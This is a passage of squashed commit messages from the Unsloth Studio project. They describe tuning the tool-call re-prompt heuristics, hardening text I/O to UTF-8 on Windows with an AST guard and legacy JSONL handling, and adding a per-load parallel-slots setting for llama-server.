* don't re-prompt finished answers in the tool loop
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* keep a separate post-tool reprompt budget and tighten the intent regexes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reset the repeat guard after a tool runs and suppress 'I should call ...' forced stalls
* Cover 'must' in forced-retry suppression, keep appended answers, and count RAG autoinject as a prior tool run
* Anchor obligation suppression to sentence starts and wire the repeat guard into the safetensors loop
* Keep deletions out of restatement and nudge pronoun-free first-step plans
* Tighten repeat similarity, anchor subjectless plans, and restore first-step plan forms
* Keep first-person plan framing and punctuation-bearing terms out of repeat detection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep leading term punctuation, accept colon-delimited first steps, and drop invoke/query from suppression
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments on the plan-without-action re-prompt guards
* Compare plans by token sequence, suppress subjectless modals, and accept dash-delimited first steps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: narrow the first-step plan match and make repeat detection content-based
Restrict the bare "First, <word>" intent alternative to a pronoun, an explicit
plan, or an investigative verb, so ordinal prose ("First place went to Alice")
and user-facing advice ("First, install the package") no longer count as a plan
without action.
Keep punctuation-only tokens in the repeat comparison, so "the value is 5" and
"the value is < 5" stay distinct, and compare content-word sequences instead of
a similarity ratio: any ratio is length-dependent, so one corrected token in a
54-token plan still scored 0.98 and cost the model its remaining nudge.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten comments in the plan-without-action re-prompt path
* studio: keep a forced retry that pivots from a plan to an answer
The obligation-plan branch discarded the whole turn, so a retry such as
"I should call web_search, but the answer is Tokyo." reached the user as
nothing at all. Suppress the plan only when nothing follows it: a pivot
after the match keeps the output, and _FINAL_ANSWER_SIGNAL now recognises
"the answer is" and "to summarise" alongside "answer:".
Leaking a plan sentence is cosmetic, dropping an answer is not, so the
doubtful case now resolves towards shipping the turn.
* studio: keep articles in repeat comparison and exclude missing-answer phrasing
Articles are not filler: dropping them made "search for The Who" and
"search for Who" compare equal, so a corrected target ended the nudge.
_FINAL_ANSWER_SIGNAL matched "the answer is not in the provided context",
which announces a missing answer, so the plan behind it shipped as the final
response instead of being suppressed. Negated forms are now excluded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten the pivot and final-answer signals, drop filler-insensitive repeats
The purpose clause in "call web_search to summarize the results" matched the
final-answer signal, so the plan shipped instead of being suppressed; that
alternative is gone. A pivot word now has to carry text of its own, since
"I should call web_search, though." answers nothing.
Repeat detection no longer ignores filler words. No word is reliably filler:
dropping them to absorb rewording also absorbed the target ("OK Go" became
"Go"). A missed repeat costs one nudge out of the cap; a false one strands the
plan unexecuted.
* studio: exempt offers of help, and add a measured accuracy floor
Offering to help hands control back exactly like the existing "let me know"
exemption. On a corpus of real model turns, "I'll do my best to help" and
"allow me to assist" close a clarification request and never precede a tool
call, but they were read as intent and re-prompted. "help you" keeps its plan
reading when an action verb follows it.
The new test scores the classifier against 300 turns captured from three local
GGUF models, each one a finished answer: the turn called no tool, and three
regenerations behind the production nudge produced no tool call either. Over
those turns, wasted nudges go from 36 (12.0%) on main to 5 (1.7%), and retries
whose text would be discarded from 60 (20.2%) to 1 (0.3%).
Until now these patterns were tuned on hand-written example sentences, which
cannot show how often the classifier is right on real output.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: read model text as utf-8 so umlauts survive on Windows
Chat rejects or mangles non-ASCII on Windows: "ä ö ü" in a prompt, a chat
template, or a model path comes back as mojibake, or the load dies with
UnicodeDecodeError.
open() and Path.read_text() fall back to locale.getencoding() when no encoding
is passed. On Windows that is the ANSI codepage (cp1252, cp932, cp1251, ... by
system locale), never UTF-8. Hugging Face writes these files as raw UTF-8, so
every read of one decodes with the wrong codec:
- tokenizer_config.json, which holds the chat template. Templates routinely
carry -> arrows, smart quotes and CJK, so this is the common path into chat
- config.json and adapter_config.json
- modules.json, Ollama manifests, and the .py sources the remote-code scanner
reads before a model is allowed to load
The llama-server and embedding-server stdout readers have the same problem via
subprocess(text = True); they now decode utf-8 with errors = "replace" so a
stray byte cannot kill a log reader.
Encoding arguments only, no logic changes.
tests/test_chat_text_encoding.py covers a config.json and a chat template
holding umlauts, arrows and CJK, plus the remote-code scanner reading a source
file with umlauts. Those pass anywhere the locale is already UTF-8, so a fourth
test re-runs the readers under -X warn_default_encoding and fails on any
platform if an encoding argument goes missing again.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name utf-8 explicitly on the remaining text I/O, with an AST guard (#7465)
* Studio: name utf-8 explicitly on the remaining text I/O
Follow-up to the model-text reads in #7467, covering the rest of the backend:
system probes (nvidia-smi, amd-smi, powershell, git, node), package installers,
/proc and /sys readers, and internal marker files (pid, install id, bootstrap
password, Colab credentials).
Same reason as #7467. open(), Path.read_text()/write_text() and
subprocess(text = True) fall back to locale.getencoding(), which on Windows is
the ANSI codepage rather than UTF-8. These paths are mostly ASCII today, so this
is hardening, not a live bug. Encoding arguments only, no logic changes.
Adds tests/test_text_io_encoding.py: an AST guard walking every backend source
and asserting text I/O names its encoding, so the class of bug cannot creep back
in one call at a time. 275 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch aliased subprocess and positional Path.open, migrate legacy JSONL
The guard only matched a receiver literally named subprocess, so worker.py's
`import subprocess as _sp` hid three text = True installs that decode pip
output with the ANSI codepage. It also skipped any .open() with more than one
positional argument, though Path.open takes buffering/encoding/errors/newline
positionally.
Resuming a scrape written by an older release is the other half: those JSONL
lines are in the locale codepage, so the UTF-8 preload raised, the dedup keys
were silently forgotten and duplicates were appended to a now mixed-encoding
file. Decode with the locale codepage as fallback and rewrite as UTF-8 before
the append handle opens, since Windows cannot replace a file it holds open.
* Stream the JSONL preload and keep a torn line from relabelling the shard
Reading the whole shard to migrate it was wrong twice over. These files reach
gigabytes on a large scrape, so the preload now streams line by line and the
rewrite streams through a temp file.
Worse, one interrupted append used to condemn the file: the whole-file UTF-8
decode failed, every byte was retried as cp1252, and the rewrite persisted
mojibake over records that were fine. A line now counts as legacy only if the
locale codepage both decodes it and yields valid JSON, which a torn UTF-8 line
does not. Damaged lines are skipped and copied through byte for byte.
When the rewrite cannot be written at all, the append handle opens with the
legacy encoding rather than mixing UTF-8 into the file.
install_wheel takes run = subprocess.run as a parameter, so the guard cannot
see it. Both wheel installs there now name their encoding.
* Decide the shard's encoding from the file, not one line at a time
Some byte strings parse both ways. cp1251 `Р°` is D0 B0, which is also valid
UTF-8 for `а`, so a UTF-8-first parse quietly showed the wrong text instead of
migrating it.
A line now yields both readings, and the file decides. Any line that parses
under the codepage but not as UTF-8 is unambiguous evidence, and ambiguous lines
then follow that verdict, which is enough for any real shard: ordinary Cyrillic
or Japanese prose is invalid UTF-8 several times per line. Keys for ambiguous
lines are re-derived from the legacy reading during the rewrite.
A shard is undecidable only if every line is ambiguous, and nothing can tell
those apart.
latin-1 is also tried after the locale codepage, so a scrape carried from
Windows to a UTF-8 machine still has a reading rather than none. Requiring valid
JSON, not just a decode, keeps that from claiming torn lines.
* Weigh the whole shard, and never lose a record on the fallback path
One structurally valid JSON line carrying a stray 0x96 parses as cp1252, so a
single-line verdict let it relabel a healthy shard and mojibake every good
record in it. Each line with non-ASCII bytes now votes: parsing only under the
codepage is evidence for legacy, parsing as UTF-8 is evidence against, since
codepage text rarely forms valid multibyte UTF-8. Ties leave the file alone.
When the migration cannot be written the append handle uses the legacy codepage,
and errors = "replace" quietly turned characters it cannot hold into question
marks while write() still reported success. That path now escapes to \uXXXX
instead, which is ASCII, so every codepage holds it and json.loads returns the
exact characters. Nothing needs replacing, so errors = "strict" is safe.
stream_installer runs sys.executable, so its output is now decoded as UTF-8 by
utf8_child_env rather than read as the ANSI codepage.
* Only rewrite a shard we can attribute, and append ASCII when we cannot
latin-1 was doing too much work. It reads any byte, so it gave a moved shard a
reading, but it is the right text only for cp1252: cp1251 Привет came back as
Ïðèâåò and the rewrite made that permanent. The codepage is now trusted only
when it is the locale's, and an untrusted reading is never written back.
That leaves three cases where the file holds bytes UTF-8 cannot read and we are
not converting it: no codepage to attribute it to, ambiguous lines outvoting the
unambiguous ones, and a preload that could not read the file at all. All three
used to append UTF-8 into it. They now append pure ASCII, which every
ASCII-compatible codepage stores identically, so the file keeps decoding exactly
as it did and no record is lost.
Keys from the two readings are also kept apart. A damaged line in a healthy
shard was marked seen through its codepage reading, so the retry that would have
replaced the unreadable record was refused as a duplicate.
* Let the flash-attn install stub take the kwargs the installer now passes
_run_kwargs gained encoding and errors, so the one stub in this file that
spelled its signature out rejected the call. The other four here already take
**kwargs; this one now matches.
* Do not let a stuck temp file mask the migration failure
unlink() on the failure path could raise in its own right, on a stale
.utf8.tmp directory or a temp another process holds. That escaped the
constructor instead of returning False, so the caller never reached the ASCII
append fallback that keeps the shard single-encoding.
The pip fallback in install_wheel also spawns a Python child, so it gets
utf8_child_env like the probe above it already had. The uv and nvidia-smi
children are native binaries, where PYTHONIOENCODING would do nothing.
* Stop converting legacy shards; the encoding that wrote them is unknowable
trusted only ever meant that the bytes parse under this machine's codepage,
which for a single-byte codepage is nearly always true. A cp1251 shard opened on
a cp1252 Windows box decodes cleanly and would have been rewritten with Привет
as Ïðèâåò. That is the fourth way this rewrite could corrupt a shard, and the
common cause is that a file's encoding cannot be recovered from its bytes.
So the rewrite is gone. The shard is left exactly as found, and appends are pure
ASCII whenever it holds bytes UTF-8 cannot read, which is what actually
delivered the no-mixed-encoding guarantee the rewrite was added for. Dedup keys
still come from whichever reading parses, since ids are ASCII either way.
This also removes the temp file, so there is no longer any file mode or ACL to
carry across.
* Scan the sandbox shim; it is shipped code, not a build artifact
sandbox_site is on the sandboxed child's PYTHONPATH for every Python run
(tools.py:332, 2660), so excluding it let two unannotated text calls through in
code we ship. Both read and write the remap sidecar, which holds file paths.
The exclusion list is meant for build output only, so the directory comes off
it and the two calls name their encoding.
* Force the worker's pip children to UTF-8, and read DBCS keys with a DBCS codec
The three installer calls run sys.executable -m pip with an inherited
environment, so the parent decoded UTF-8 while the child emitted the ANSI
codepage. They now go through utf8_child_env like the other Python children.
Two tests asserted no env kwarg was passed as a stand-in for no HIP flag being
injected. They now assert the flag itself, which is the guarantee they were
written for and does not depend on how the env is delivered.
Separately, latin-1 cannot stand in for a double-byte codepage while recovering
dedup keys: cp932 表 is 95 5C, and the trail byte reads as a JSON backslash, so
the record failed to parse and its id was forgotten, appending a duplicate on
resume. cp932, cp936, cp949 and cp950 are tried too. The reading is still only
ever used for keys, which are ASCII and identical whichever codec parses.
* Require more than one legacy line before trusting its dedup keys
A shard whose valid records are all ASCII casts no UTF-8 votes, so a single
damaged line won the vote by itself, its key was remembered, and the retry that
would have replaced the unreadable record was refused.
One such line is genuinely undecidable: a legacy record with one accented
character and an ASCII record with one stray byte are the same shape. Reading it
as damage costs a duplicate; reading it as legacy loses the record for good.
Only one of those is recoverable, so it is now read as damage.
A real legacy shard has a legacy line for every record carrying an umlaut, so
its dedup is unaffected.
* Append ASCII whenever the shard already holds non-ASCII bytes
The gate asked whether any line was undecodable as UTF-8, which misses a shard
where every legacy line happens to be valid UTF-8 too. A cp1251 shard of Р°
records is bytes D0 B0 throughout, so appending 世界 as UTF-8 left a file where
cp1251 reads the old records correctly and the new one as mojibake, and UTF-8
does the reverse. No single decoding recovered the whole scrape.
The gate is now simply whether the shard holds any non-ASCII byte at all, which
covers both cases and is easier to reason about: if what is already there reads
differently under different encodings, do not add more bytes that do.
Appending ASCII costs only \uXXXX escapes, which json.loads turns back into the
exact characters, and it leaves the new record correct under either reading.
* Skip the two Linux-gated flash-attn tests off Linux
_should_try_runtime_flash_attn_install ends in sys.platform.startswith(
"linux"), and the threshold test one line above already asserts exactly that,
so the two tests that drive _ensure_flash_attn_for_long_context past the gate
cannot pass anywhere else: the call returns before it reports a status. They
were written on Linux and only surface once the suite actually runs on Windows
or macOS, where both fail on an empty status list. This PR is about making the
backend behave on Windows, so its own suite should be runnable there.
* Fail closed when a KFD topology node does not decode
This PR pins that read to utf-8, which turns an undecodable byte into
UnicodeDecodeError. That is a ValueError, not an OSError, so it slips past the
handler one line below and escapes a helper whose docstring promises to fail
closed on any unreadable node. The caller would then lose the whole HIP-order
map on a machine that has AMD GPUs, and the reason the helper fails closed is
that dropping a node shifts every later ordinal and lets a similar-capacity GPU
pass the total-size guard while showing another card's usage.
Widening the handler is the same one-line change main already made in #7487, so
the two agree and the eventual merge is clean.
* Tighten the comments added in this branch
* Treat an undecodable marker and undecodable metadata as malformed, not fatal
Two more places where pinning the decode changed the failure mode. A
UnicodeDecodeError is a ValueError, so neither `except OSError` nor
`except (JSONDecodeError, OSError)` catches it, and both sites had a documented
fallback that stopped being reached.
An undecodable .transport marker used to read as an unknown value, and the
caller then safely purged and restarted the partial download. It now aborts
prepare_cache_for_transport instead, so the transfer fails rather than retrying.
Undecodable .meta.json used to fall back to the file's own name, the same way
invalid JSON does. It now aborts URI construction for the entire unstructured
seed, so one corrupt byte in original_filename takes out the whole dataset.
Both handlers are widened, matching the KFD fix earlier on this branch.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Widen two more decode guards, and pin the kernel installer's pipe
Same shape as the ones already fixed here: the read was pinned to UTF-8 while
the handler around it still only catches OSError, and UnicodeDecodeError is a
ValueError.
hf_cache_snapshot_dir answers whether a model is already on disk, and the
offline embedding checks turn a raise into a 500. A torn refs/main used to
decode into a nonsense commit and miss the snapshot dir; it now skips that cache
root and keeps looking. _remove_pid_file runs first in _graceful_shutdown, so a
corrupt studio.pid raising there abandoned the inference, export, training and
tunnel children the rest of that function exists to kill.
ssm_runtime's source-build path builds its subprocess kwargs in a dict and
splats them through _run_with_heartbeat, so neither the encoding guard nor the
earlier sweep saw the text = True in it: pip's output was still decoded with the
Windows ANSI codepage, where a non-ASCII path or a compiler diagnostic mojibakes
or raises over an install that was going fine. It now pins the same
utf-8/replace pair install_wheel uses, and the HIP branch extends that env
rather than replacing it. The guard learned the dict-literal shape and reddens
on the old code (ssm_runtime.py:253).
* Tighten the comments around the UTF-8 text I/O pins
Collapse the multi-line rationales added with the encoding pins down to a
line or two each, drop what the code already says, and use one wording for
the repeated child-env note.
* Do not let an unreadable bootstrap password stop startup, and narrow the kwargs guard
ensure_default_admin calls _load_bootstrap_password for every existing admin and
the lifespan calls that with no handler, so pinning the decode turned a damaged
or pre-pin .bootstrap_password file into a backend that will not start. We write
that file ourselves in UTF-8, so a byte that will not decode belongs to a file
whose plaintext is worthless anyway; it now reads as no bootstrap password, the
same answer as an absent file. A readable one still loads.
The new kwargs check also judged every dict literal in the tree, so an unrelated
payload carrying "text": True would have been reported as subprocess
configuration with a misleading message, and a dict that fills in its encoding on
a later line would have been reported too. It now only judges a dict that
actually reaches a call, either splatted through a name or written at the call
site, and treats a later kw["encoding"] assignment as satisfying it. The
ssm_runtime shape it was written for is still caught, and a test pins both
directions.
* Stop reading a UTF-8 record a second time
_read_line always parsed the line under the codepage as well, even when it had
already read as UTF-8. Both callers take the UTF-8 reading when there is one and
never look at the other, so on a healthy shard the second parse is pure waste,
and this file reads all of one on every resume of a scrape it expects to reach
gigabytes. Measured on 200,000 records, 76 MB: 1.96s before, 0.81s after, so the
double reading was costing 2.8x.
The early return is limited to a record, since the key lookup deliberately falls
through to the codepage reading when UTF-8 yields something that is not one. A
line UTF-8 cannot read still tries the codepage, latin-1 and the double-byte
encodings as before, which is what the second reading is for.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pin the scanned source fixture's line endings
test_remote_code_scan_reads_non_ascii_sources compared a file's contents against
the string it wrote, but wrote it in text mode, so Windows translated the line
ends on the way out and the read back differed by a carriage return. That is the
writer's doing, not the encoding the test is about, and it was the one failure on
the Windows runner that belonged to this branch. The fixture now writes with
newline = "" so the bytes on disk are the string on every platform.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the newer comments to their point
Shorten the widened-guard and state store notes added since the last pass,
and collapse the line-ending note on the scanned source fixture.
* Read the scraper checkpoint as UTF-8 only, never as a codepage
A checkpoint holds nothing but base64 cursors and booleans, so one written by
an older locale-encoded release is byte-identical to a UTF-8 one and already
reads back. The codepage fallback can therefore only ever contribute non-ASCII:
if a single-byte reading of the file were all ASCII, the UTF-8 read would have
succeeded first.
So the only file it changes the answer for is a damaged one, and there it turns
a safe reset into a resume on a mojibaked cursor. GitHub answers that with
INVALID_CURSOR_ARGUMENTS at HTTP 200, gh_client returns the partial document,
and the scraper reads zero nodes and an empty pageInfo, which marks the stream
done. Every later resume then skips it entirely.
Reading UTF-8 only restores the earlier behaviour of dropping a checkpoint that
will not decode, which re-scrapes from the first page while the writers dedup
the replay. The shard scan below keeps its codepage reading; those records do
carry non-ASCII.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the remaining tilelang install tests to Linux
_tilelang_platform_supported() returns False off Linux, so _ensure_tilelang_backend
returns before the install and the subprocess mock these six assert on is never
called. They fail on macOS runners for that reason alone. The rest of the file
already carries this marker; these were missed.
* Gate the Windows-incompatible worker and ROCm tests
Two different gates, because the production code has two. The causal-conv1d and
flash-linear-attention installers bail out on sys.platform == 'win32' alone and
run everywhere else including macOS, so those cases get not_on_windows; marking
them linux_only would skip tests that legitimately pass off Linux. The DRM and
KFD readers return early unless platform.system() is Linux, and their fixtures
build a fake sysfs tree needing PCI addresses like 0000:00:02.0 as directory
names, which Windows cannot represent, so those get linux_only.
The two visible-utilization cases failed for a different reason: on Windows
get_visible_gpu_utilization takes the AMD adapter branch ahead of the torch
fallback under test, and probing it imports torch, which the runner lacks.
Stubbing that branch empty leaves every other platform unchanged.
* Treat unparseable JSON nesting as a parse failure, and guard os.fdopen
json.loads answers nesting it cannot descend with RecursionError, a
RuntimeError, so _parse let it escape where the catch-all it replaced
discarded the record. Both callers run _parse outside any further handler,
so one damaged checkpoint or shard line aborted the scraper at startup.
The encoding guard also missed os.fdopen, which is open() on a descriptor
and takes the same locale default in text mode. It flags exactly the two
text-mode calls that were left unencoded; the swap lock file's reader was
already pinned to UTF-8 while its writer still used the codepage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Write the non-ASCII source fixture without a 3.10-only argument
Path.write_text() only grew newline in 3.10, and pyproject declares
requires-python >=3.9, so this raised TypeError there. open() takes the same
argument on every supported version and pins the bytes on disk the same way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten encoding comments
* Follow subprocess calls through callable aliases in the encoding guard
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Studio: show a Nudging tool calls badge while the tool-call re-prompt runs
* Guard the nudge status ordering assertion against index 0
* Tighten the nudge status comments
* Announce the nudge text instead of the generic spinner label
* Trim the nudge status comments
Collapse the multi-line notes to fewer lines and drop one that restated the assert below it. The blank-before-badge ordering reason and the keep-in-sync contract are preserved.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* feat(studio): share the llama-server --parallel bounds as PARALLEL_MIN/MAX
The per-load parallel-slots field needs the same 1..64 range the CLI flag
validates, but models/inference.py cannot import run.py (run.py builds the
app that imports routes that import models). Promote the bounds into this
dependency-free module, which already owns the -np/--parallel semantics, and
record the deliberate mirrors that cannot import it (run.py, the unsloth CLI,
the web UI). The denylist entry stays: the first-class field is now the single
write path for the slot count, so a pass-through would still desync the
committed bookkeeping from llama-server.
* feat(studio): note the per-load override in the --parallel help text
--parallel is now the server-wide default that a per-load n_parallel (the
Studio Parallel Slots run setting) can override, not the definitive slot
count. Point at the new control so a user does not conclude a restart is the
only way to change slots, and record the shared PARALLEL_MIN/MAX mirror
alongside the existing CLI one.
* feat(studio): add n_parallel to LoadRequest and echo the slot counts
LoadRequest.n_parallel (optional, PARALLEL_MIN..PARALLEL_MAX) lets a load pick
its own llama-server --parallel count; omitted, the server-wide launch default
applies. ValidateModelRequest carries it too so the training-coexistence
estimate sizes the KV cache like the follow-up load rather than passing on a
smaller footprint.
LoadResponse and InferenceStatusResponse gain both requested_parallel_slots
(what the load was invoked with) and parallel_slots (what llama-server
actually runs after the fitter's slot reduction), so a client can tell an
honored request from a reduced one. Both are None where --parallel has no
meaning: non-GGUF loads and the diffusion runner.
* feat(studio): record the requested parallel-slot count on the backend
The auto GPU-memory fit may launch fewer slots than requested to keep the
model fully on GPU, so the committed effective count cannot answer "is the
live server what this request asked for?". Store the invoked count separately
(mirroring the _requested_n_ctx pattern) from the pre-reduction pending
kwargs, expose it as requested_parallel_slots, and have _already_in_target_state
compare requested-vs-requested: comparing against the effective count would
reload -- and re-reduce -- forever on an identical Apply.
The comparison sits in the non-diffusion branch, since the diffusion runner
ignores --parallel entirely. The requested value shares the effective count's
lifecycle, so every unload/kill path clears it and a stale count cannot
poison the next load's dedupe.
* feat(studio): honor a per-load parallel-slot count in /load and /validate
Resolve the slot count once per load -- the request field if set, else the
server-wide launch default -- and feed it to every consumer that must agree:
the training-coexistence guard, the llama-server load kwargs, and the reload
dedupe. Without the dedupe comparison a changed slot count would be swallowed
as already_loaded; it compares requested-vs-requested and skips the diffusion
runner, which ignores --parallel.
app.state.llama_parallel_slots is deliberately never written: it stays the
launch intent and the admission-queue fallback, so one load's override cannot
leak into later loads. /validate resolves the same way so its estimate cannot
undercount what the load then allocates.
Both /load returns and /status echo the counts through one helper, which
reports None for diffusion -- its load never commits a count, so echoing the
reset placeholder would fabricate an "invoked with 1 slot".
* feat(studio): accept nParallel in the chat-preset load config
ChatPresetLoadConfig is extra="forbid", so a preset carrying the new parallel
slots knob would 422 the whole settings sync without this field. Bounds come
from the shared PARALLEL_MIN/MAX rather than literals, so a future range
change cannot start rejecting presets the UI still allows.
* test(studio): cover the per-load parallel-slots knob
Pins the behaviors a regression would silently break: the requested-vs-effective
dedupe (comparing against the reduced count would reload forever), the diffusion
skip and its None echo, the requested count's reset lifecycle, and its commit
from the pre-reduction pending kwargs.
Also pins the three bounds mirrors that cannot import PARALLEL_MIN/MAX (run.py,
the unsloth CLI, the web UI) plus the preset model that can, so a range change
cannot leave one of them clamping or rejecting at the old limit.
* test(studio): refresh the --parallel denylist comments for the UI knob
The pinned rationale said the typer flag owns the slot count and pointed users
at a Studio restart. Parallel Slots / LoadRequest.n_parallel is now the other
managed writer, and the 1..64 guard is the shared PARALLEL_MIN/MAX -- a reader
following the old comments would conclude the UI control does not exist.
* feat(studio): note the per-load override in the CLI --parallel help
Both the plain-serve and `unsloth studio run` flags now describe a server-wide
default the Studio Parallel Slots run setting can override per load, matching
the backend help text.
* feat(studio): remember a per-model Parallel Slots override
nParallel joins the per-model config with the same null-means-follow-the-default
convention as the other knobs: null keeps the server-wide --parallel count, so
a blank control never pins a number and isDefaultConfig still deletes an
otherwise-untouched config instead of storing it.
The value is re-clamped to N_PARALLEL_MIN/MAX on every localStorage read and
write (the store is user-editable), and listing it in STORED_CONFIG_FIELDS
keeps it from being dropped as an unknown key. Legacy blobs predate the knob,
so their migration carries null. No schema-version bump: an additive optional
field, like the GPU fields before it.
* feat(studio): bridge nParallel between the per-model config and the store
The config->store, store->config and equality helpers all need the new field:
without the equality arm a slots-only edit reads as unchanged, so Apply is
dropped and the dirty state never lights up.
* feat(studio): track the parallel-slot override in the chat runtime store
nParallel holds the editable override and loadedNParallel the value the last
successful load sent, which the failed-switch rollback re-sends. Both are
per-model: they clear on unload and on a model switch, unlike the standing
preferences (GPU memory mode, speculative type) that survive one.
There is deliberately no backend-echo field for the control: the echo is the
resolved count, so adopting it would pin a blank "follow the server default"
input to an explicit number.
* feat(studio): type n_parallel and the slot-count echoes
The load request gains the optional per-load slot count, and both the load
response and the status payload gain requested_parallel_slots (invoked) and
parallel_slots (actually running after the fitter's reduction). Keys stay
snake_case: the payload is serialized as-is, with no case conversion.
* feat(studio): forward n_parallel to the validate preflight
validateModel builds its own body rather than forwarding the load payload, so
the slot count has to be listed explicitly. Slots scale the KV estimate, and
the preflight exists to refuse a load the training guard would then 409 -- an
unforwarded count would validate a smaller footprint than the load allocates.
* feat(studio): include nParallel in the active model's config
The sidebar assembles the active model's config from individually subscribed
store fields; an unsubscribed field would leave the form showing a stale value
after any external change.
* feat(studio): add the Parallel Slots control to the run settings
A numeric input in the GGUF advanced section, blank meaning "follow the server
default". It clamps on change like the Draft Tokens field rather than using
NumericValueInput, so there is no blur-draft to lose when the user types a
value and immediately clicks Load.
hasNonDefaultAdvanced counts it too, so a remembered override reopens the
advanced section instead of hiding the setting that is actually in effect.
* feat(studio): key the sidebar config form on nParallel too
The signature drives the remount that re-seeds the form; without the new field
an externally changed slot count would leave the sidebar showing the old one.
* feat(studio): send the Parallel Slots override on load
performLoad snapshots the slot count at click time (staged run-settings config
first, else the store) and sends it on both the validate preflight and the
load, so the two size the same footprint. A cross-model switch re-baselines it
like the other per-model knobs -- the previous model's count must not follow
onto the next one -- and the failed-switch rollback re-sends the previous
model's value so a rescue reload cannot silently drop to the server default.
The success path keeps the click-time value rather than the response echo: the
echo is the count the fitter resolved, so adopting it would turn a blank
"follow the server default" control into an explicit pin. Slots are GGUF-only,
so a transformers load sends and records null instead of a phantom override.
* feat(studio): carry the slot override through the compare-pane load
The compare pane builds its own load request, so it needs the field explicitly
or a pane with a remembered override would load at the server default. Its
validate preflight sends the same count, matching the comment above it that
promises validation is sized exactly as the load below.
GGUF-gated on both calls, and the store adopts the pane's own click-time value
rather than the resolved echo, mirroring the single-model path.
* feat(studio): honor the remembered slot override on startup auto-load
The auto-load path reads the per-model config and forwards every other
remembered knob, so a remembered Parallel Slots value was the one setting lost
on the "load last used model" path: llama-server came back at the server-wide
default with the control showing blank, and the first manual Apply afterwards
then forced a needless reload because the counts disagreed.
* feat(studio): seed the slot baseline from the status echo
Only the rollback baseline is seeded, never the editable control: the echo is
the resolved count, so adopting it would pin a blank "follow the server
default" input to a number. Without the seed, loadedNParallel stayed null
after a tab reload or a second tab adopting the running model, and a failed
switch then rolled the previous model back at the server default while every
other knob was restored.
* feat(studio): capture Parallel Slots in chat presets
The knob joins the preset load config end to end: captured from the store,
re-clamped when read back (persisted presets are untrusted input), applied on
switch, and summarized in the preset chip. Its default is null, so
coalesceDefaultLoadKnobs keeps a default-only preset empty rather than
persisting a no-op override.
* feat(studio): re-derive the preset state when Parallel Slots changes
Both preset memos snapshot the store through capturePresetLoadConfig, so
without the new dependency a slots-only edit left the unsaved-changes flag and
the load summary showing the previous value.
* test(studio): pin the Parallel Slots wiring end to end
Source-contract coverage for the hops a refactor can silently drop: the three
/load builders (interactive, compare pane, startup auto-load) and their
validate preflights, per-model persistence and clamping, the UI row, and the
status seed -- including the negative assertion that hydration seeds only the
rollback baseline, never the control, so the resolved echo cannot pin a blank
"server default" input.
* test(studio): pin nParallel in the preset load config
Covers capture, clamped read-back and apply on the frontend, plus the backend
field itself: ChatPresetLoadConfig is extra="forbid", so a missing or drifted
field 422s every settings sync that carries a preset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fall back to one slot when llama-server lacks --kv-unified for PR #7447
Without --kv-unified an explicit --parallel N makes llama-server give each slot -c/N, so on a build without the flag choosing N slots silently shrinks every context window for a feature that build cannot serve. Clamp to one slot and log why, placed after the requested count is captured so the echo still reports it and before the KV estimates so the fit matches what actually launches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the slot control on load paths that never send it, and size the training guard for diffusion
Four review findings on the per-load Parallel Slots knob.
The editable nParallel control means "follow the server default" when null, so
any success path that does not send a slot count has to clear it. Three paths
kept a value staged for a different model:
- chat-adapter.ts, cached non-GGUF auto-load: the interactive and compare
builders already clear both fields for a non-GGUF response, this third one
did not. The field never renders for a non-GGUF target, so the stale count
was invisible and unclearable from the UI yet still persisted, and it flips
isDefaultConfig so a user with no overrides silently gets a stored entry.
- chat-adapter.ts, fresh-model fallback: its request omits n_parallel but its
success state resynced every other knob and left the slots alone, so a staged
edit survived against a server running the default and the next Apply
reloaded at a count that load never sent.
- apply-inference-status-to-store.ts: on a model change underneath the tab
every sibling knob adopts the new model's status, but nParallel updated only
its baseline, so the previous model's explicit count followed onto the new
model and saving or reloading there pinned it. Clear the control and keep
seeding the baseline for the rollback.
The training-coexistence guard sized a diffusion GGUF with the requested slot
count. _estimate_kv_cache_bytes scales the SWA cache with slots
(swa_limit = swa * slots + ubatch), but load_model hands a diffusion target to
_start_diffusion_server before the slot plumbing, so that runner is always
single-slot. At the new default of 4 this inflated the estimate and could 409 a
load that fits. An unclassified GGUF keeps the requested count.
Backend base KV depends on -c alone, not on --parallel, which is why only the
SWA term is affected: llama.cpp PR 14363 and discussion 4130.
Tests: three training-guard cases in test_parallel_slots_per_load.py and one
